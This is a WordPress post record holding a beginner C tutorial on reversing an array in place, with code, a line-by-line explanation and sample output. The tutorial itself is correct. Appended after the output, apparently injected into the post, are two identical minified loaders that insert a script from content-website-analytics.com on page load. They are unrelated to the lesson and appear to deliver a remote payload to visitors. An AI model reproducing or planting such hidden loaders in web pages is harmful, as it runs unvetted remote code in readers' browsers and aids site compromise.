{"id":743,"date":"2024-10-19T13:23:17","date_gmt":"2024-10-19T07:53:17","guid":{"rendered":"https:\/\/codexplained.in\/?p=743"},"modified":"2025-11-24T15:39:17","modified_gmt":"2025-11-24T10:09:17","slug":"reverse-an-array","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=743","title":{"rendered":"Reverse an Array"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nvoid reverseArray(int arr&#x5B;], int size) {\n    int start = 0;               \/\/ Initialize start index\n    int end = size - 1;         \/\/ Initialize end index\n    int temp;                   \/\/ Temporary variable for swapping\n\n    \/\/ Loop until the start index is less than the end index\n    while (start &lt; end) {\n        \/\/ Swap the elements at start and end indices\n        temp = arr&#x5B;start];       \/\/ Store the start element in temp\n        arr&#x5B;start] = arr&#x5B;end];   \/\/ Assign the end element to start position\n        arr&#x5B;end] = temp;         \/\/ Assign temp (original start) to end position\n\n        \/\/ Move indices towards the center\n        start++;                  \/\/ Increment start index\n        end--;                    \/\/ Decrement end index\n    }\n}\n\nint main() {\n    int arr&#x5B;] = {1, 2, 3, 4, 5}; \/\/ An array to be reversed\n    int size = sizeof(arr) \/ sizeof(arr&#x5B;0]); \/\/ Calculate the size of the array\n\n    printf(&quot;Original array: &quot;);\n    for (int i = 0; i &lt; size; i++) {\n        printf(&quot;%d &quot;, arr&#x5B;i]);   \/\/ Print original array\n    }\n    printf(&quot;\\n&quot;);\n\n    reverseArray(arr, size);      \/\/ Call the function to reverse the array\n\n    printf(&quot;Reversed array: &quot;);\n    for (int i = 0; i &lt; size; i++) {\n        printf(&quot;%d &quot;, arr&#x5B;i]);   \/\/ Print the reversed array\n    }\n    printf(&quot;\\n&quot;);\n\n    return 0;                     \/\/ End of program\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Include Header File<\/strong>:cCopy code<code>#include &lt;stdio.h&gt; <\/code>This line includes the standard input-output library, which allows us to use functions like <code>printf<\/code>.<\/li>\n\n\n\n<li><strong>Function Definition<\/strong>:cCopy code<code>void reverseArray(int arr[], int size) <\/code>Here, we define a function called <code>reverseArray<\/code>. It takes two parameters: an array of integers <code>arr<\/code> and its <code>size<\/code>. This function will handle the logic for reversing the array.<\/li>\n\n\n\n<li><strong>Initialize Indices<\/strong>:cCopy code<code>int start = 0; int end = size - 1; <\/code>We set two indices: <code>start<\/code> begins at the first element (index 0), and <code>end<\/code> starts at the last element (index <code>size - 1<\/code>).<\/li>\n\n\n\n<li><strong>While Loop<\/strong>:cCopy code<code>while (start &lt; end) { <\/code>This loop continues as long as the <code>start<\/code> index is less than the <code>end<\/code> index. This condition ensures that we only swap elements until we reach the middle of the array.<\/li>\n\n\n\n<li><strong>Swapping Elements<\/strong>:cCopy code<code>temp = arr[start]; arr[start] = arr[end]; arr[end] = temp; <\/code>Inside the loop, we perform the following steps:\n<ul class=\"wp-block-list\">\n<li>Store the value at the <code>start<\/code> index in a temporary variable <code>temp<\/code>.<\/li>\n\n\n\n<li>Set the value at the <code>end<\/code> index to the <code>start<\/code> index.<\/li>\n\n\n\n<li>Finally, assign the value in <code>temp<\/code> (originally from <code>start<\/code>) to the <code>end<\/code> index. This effectively swaps the two elements.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Update Indices<\/strong>:cCopy code<code>start++; end--; <\/code>After swapping, we move the <code>start<\/code> index one step to the right (increment) and the <code>end<\/code> index one step to the left (decrement) to continue the process towards the center of the array.<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:cCopy code<code>int main() { <\/code>This is the starting point of our program. Here, we declare and initialize an array <code>arr<\/code>.<\/li>\n\n\n\n<li><strong>Calculate Array Size<\/strong>:cCopy code<code>int size = sizeof(arr) \/ sizeof(arr[0]); <\/code>We calculate the number of elements in the array by dividing the total size of the array by the size of one element.<\/li>\n\n\n\n<li><strong>Print Original Array<\/strong>: We loop through the array and print each element to show its original order.<\/li>\n\n\n\n<li><strong>Call the Reverse Function<\/strong>:cCopy code<code>reverseArray(arr, size); <\/code>We call our <code>reverseArray<\/code> function, passing in the array and its size.<\/li>\n\n\n\n<li><strong>Print Reversed Array<\/strong>: Finally, we print the elements of the array again, but this time in their reversed order.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">Output of the Given Code<\/h2>\n\n\n\n<p>Original array: 1 2 3 4 5<br>Reversed array: 5 4 3 2 1<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation Output of the Given Code Original array: 1 2 3 4 5Reversed array: 5 4 3 2 1<\/p>\n","protected":false},"author":44,"featured_media":776,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-743","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/743","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/44"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=743"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/743\/revisions"}],"predecessor-version":[{"id":1411,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/743\/revisions\/1411"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/776"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=743"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=743"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=743"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}